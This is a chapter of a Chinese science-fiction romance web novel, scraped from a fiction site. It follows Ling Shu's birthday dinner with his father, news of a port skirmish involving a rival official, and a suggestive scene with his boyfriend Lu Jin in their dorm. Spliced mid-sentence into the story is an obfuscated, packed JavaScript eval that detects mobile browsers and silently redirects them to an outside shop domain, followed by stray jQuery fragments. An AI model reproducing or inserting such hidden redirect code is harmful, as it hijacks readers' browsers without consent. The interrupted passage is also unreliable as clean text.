文趣网 > 都市小说 > 装A复仇却和敌将恋爱了 > 52. 回校后
    凌疏没好气地伸出一条腿,轻轻踹了他一下:“你都把我折腾成这样了?还想跑吗?!男朋友!”

    陆烬一把抓住他的脚踝,看了看上面深红色的印子,忽然也觉得昨晚的自己过于禽兽了。他低下头,亲吻了一下:“对不起,男朋友,我错了。要打要罚,我都认。”

    从此以后,他会以一个蓝藻星陆家人的身份,长长久久地陪在凌疏身边。

    凌疏在床上躺了一天,洗漱、上厕所都是被陆烬抱着去的,午饭是在床上吃的,陆烬一口一口喂到他嘴边,恨不得先帮他嚼上一遍。

    一直到黄昏时分,凌疏才觉得身上的酸软好了一些。

    凌敬山的电话就是这时候打来的:“儿子,你的事儿处理完了吗?今晚回来吃个饭吧,好歹也要让家里给你庆祝一下嘛。”

    凌疏的脸顿时通红。他爸毫无顾忌地说着“事儿”,铁定想不到会是现在这样混乱的一摊子事。他立即回复:“嗯。我一会儿就回来。”

    陆烬不敢拦,也拦不住,只好眼睁睁看着星舰来接了他俩,再把凌疏送回了家。

    *

    星舰在凌宅后院的停机坪降落,凌疏走到舱门口,刚想往下跳,就被身后的陆烬一把拉住。

    陆烬:“太高了,你腿会软。”

    凌疏甩开他的手,瞪了他一眼,转头吩咐飞行员:“麻烦尽快把他送走。”

    说完,跳了下去。

    落地的瞬间,腿真的软了一下,但他强撑着站住了。要被他爸看到这幅样子,还不知道要怎么解释。

    星舰很快离地升空,凌疏朝着家门口走去。

    凌疏家是一栋很宽敞的三层别墅,门口站着警卫。他朝着警卫点点头,刚打算推门,门就打开了。

    凌敬山满脸笑容走出来,一巴掌拍在他肩膀上:“儿子,你总算肯回家了。我可是推掉了林正弘的会议,特地回来陪你的。这还是第一次错峰给你过生日呢。赶紧的,一桌子你爱吃的。”

    “嗯?你身上什么味道?”

    凌疏一个激灵,把他爸往外推了推:“什么什么味道?和好多朋友一起聚会染上的吧。快别闻了,爸,你这样好奇怪。”说着,他和他爸拉开了一些距离,率先往屋里走:“给我做什么好吃的了?”

    餐厅很大,一张胡桃木长桌横在中央,能坐十二个人。但今天只摆了三幅碗筷。凌敬山一副,凌疏一副,剩下的那副,是凌家的大日子里,习惯性留给凌疏的Omega父亲的。

    凌敬山:“看看,我让梅姨特意做的,还满意吗?”

    一眼望去,桌上整个儿都是红彤彤的。

    红油龙虾堆成小山,壳被剪开,露出饱满的橙黄膏体;辣子鸡丁盛在青瓷盘里,鸡块酥得能透光;水煮鱼浮在滚油里,鱼片薄如蝉翼,葱花和蒜末被热油激得滋滋作响。

    “龙虾是今早从凌霜星空运来的,鸡也是你王叔自家养的,专挑了最嫩的三黄鸡。尝尝?”凌敬山一边说着,他开了一瓶酒,对着凌疏举了举,“来点儿?”

    凌疏是很想来点儿的。这样的待遇,在他家算是庆祝时的标配。但他现在身体有点儿虚弱,透支厉害,更重要的是,屁股很疼。所以,既喝不了酒,也吃不了辣的。

    作孽。

    都怪陆烬!

    凌疏:“爸,我今天就.......”

    “报告!”突然间,一个粗旷的声音从餐厅外传来,紧接着,一个穿着军装的男人走进来,对着凌敬山行了个军礼,“紧急军务。”

    凌疏一抬眉。紧急军务?怎么来汇报他爸了?

    凌敬山倒是对来人不意外,只是皱了皱眉:“什么事?”

    军人:“北落港发生枪战交火事件。驻守将军特意遣派我来汇报。”

    凌敬山:“怎么回事?”

    军人:“顾培元的副官带了一队亲兵,直闯港口,被阻拦后,与驻守官兵发生了冲突。截止目前为止,我方已有一死十三伤。”

    凌疏知道这个顾培元。

    议会除了议长林正弘外,共有三位副议长,分管不同领域。除了凌敬山,沈鹤亭,剩下的就是这个顾培元。

    顾培元这个人,表面上来看,政治立场和凌敬山是一样的,不主和、不主战,是中立派。但凌家上上下下,从凌敬山到凌疏,甚至管家仆从,都非常讨厌他。

    因为他的中立,和凌敬山的中立,完全不同。

    他是一个投机倒把分子,没有人性、没有底线,坏事做尽。

    而顾培元和凌敬山的矛盾冲突,最大的根源,就是北落港。

    北落港是边境星球凌霜星的一个港口,因为地理位置问题,常常有来来往往的南北各种人,鱼龙混杂。这个星球,当初被划分给了凌敬山,属于他的职务管辖范围。可偏偏,顾家的发源地,顾家老宅就在凌霜星上,离北落港不太远。

    两个首都星的大人物,一举一动都会影响到整个南部的,偏偏在这个小小的星球、小小的港口上顶住了。今天顾家运送一趟不明不白的货物,明天港口守卫队就查封了顾家三条船,来来回回的,斗个不休。

    凌敬山:“顾培元又搞什么?”

    军人:“驻守的兄弟说,是又查到了违禁用品。”

    凌敬山想了下:“交代你们将军,按规矩办。顾家敢有什么动作,你们只管接着。”

    军人:“是。”

    凌敬山:“我儿子好好一个生日,心情本来很好,都他妈被这畜生给搅合了。小疏,别管这些,来,咱们父子喝一个。”

    他爸这一阵骂骂咧咧,倒让凌疏想起了一件往事。

    上一世,他战败后,凌敬山被他连累,牵扯出好几档子真真假假的案件,在一番内部运转的审讯之后,凌家就彻底垮了。

    而从中得益最多的,除了沈鹤亭,就是这个顾培元。如果沈鹤亭不是泄露军情的人,那么,幕后黑手难道是………

    凌疏蹭一下站起:“爸,我今天不舒服,喝不了酒,也吃不了辣。我忽然想起点重要的事,先走了。改天再回来陪你。”

    说着,在他爸目瞪口呆的注视下,匆匆离开家返回学校。

    *

    凌疏回到宿舍,刚推开门,就被人从身后推了一把,直接推进

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17731569|203138||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了宿舍。要不是熟悉的味道包围了他,他差点一肘子把人撞开。

    “这么快就回来了?”陆烬贴着他后背,一起蹭了进来。

    反手关上门,凌疏用嫌弃的眼神看他:“你是狗吗?鼻子这么灵?”

    他前脚还没踏进宿舍,这人后脚就跟过来了。

    陆烬果然像个大狗狗一般黏在他身上,不断地嗅闻着他脖颈间的味道:“我知道你今晚会回来,一直看着窗外呢,只是没想到你会这么早。发生什么事了?不会和你爸吵架了吧?”

    凌疏刚想把顾培元的事说出来,念头一转,咽了下去,反而说道:“你还好意思问?我顶着你的一身酒味,差点被我爸发现。我还敢逗留啊?饭都没吃,就灰溜溜地跑回来了。”

    陆烬一下扒着他的肩膀,笑得不行。

    凌疏肩膀一抬:“起开,我要休息了。”

    陆烬松开他,跟着他往床边走:“不是都休息一天了吗?”

    凌疏白他一眼:“真希望你也变个Omega,让你尝尝这滋味。”

    陆烬立即举双手投降:“对不起,是我的错。”认错很快,但屁用没有。

    凌疏脱了衣服,换上贴身的背心,钻到了床上。陆烬一秒都没多耽搁,跟了上去。单人床躺着两个人,有点狭窄。凌疏用胳膊肘推了推他:“你过去点儿。”

    陆烬半边屁股掉在了床外面,委屈巴巴说:“再过去点儿,我就掉下去了。”

    “呵呵,掉下去最好。”凌疏十分冷酷无情,他往下哧溜着躺好,盖好被子,打了个哈欠,“晚安。”

    陆烬愣住,看了看光脑上的时间,这才几点?真睡?

    他侧过身:“行,看来你是真累了,睡吧,我拍拍你。”说完,他把手伸进被窝,贴在凌疏小腹上,轻轻拍着。

    手刚刚覆上来的那一刻,凌疏就觉得有点不对劲。陆烬的手掌很大,还热哄哄的,隔着薄薄一层布料,直接透到他小腹的皮肤上去了。

    不对,怎么会感觉这么明显?这不是普通的暖洋洋,而是一种热量散发开来、一直蔓延到四周的酥爽。

    凌疏没忍住,轻轻扭动了下。

    这......就是被标记过的结果吗?

    他一把抓住了陆烬的手,用力甩出去。随后一翻身,用背脊挡住了陆烬,护住小腹,还微微喘着。

    “怎么了?闹什么脾气呢?还不舒服吗?”可身后的手没有半点停顿,又覆了上来——摸上了凌疏的腰。

    这一下简直直击灵魂。腰间的感受太过强烈,凌疏无法控制地仰了仰头,小腿都伸直了,嘴唇微微张着,气息极速加剧.......这一回,他没再拉开陆烬的手。

    身后的人变本加厉,俯身而下,凑到他耳边:“哪里不舒服吗?”

    凌疏说不出话来,腿绷得笔直,一动都不敢动,生怕一不小心就泄露了自己真实的感受。

    只是摸了一下而已,他就变成了这样,实在是......太丢人了。

    身后传来低低的笑声,凌疏只觉得耳廓发痒,身后人说道:“放轻松,不折腾你。我帮你。”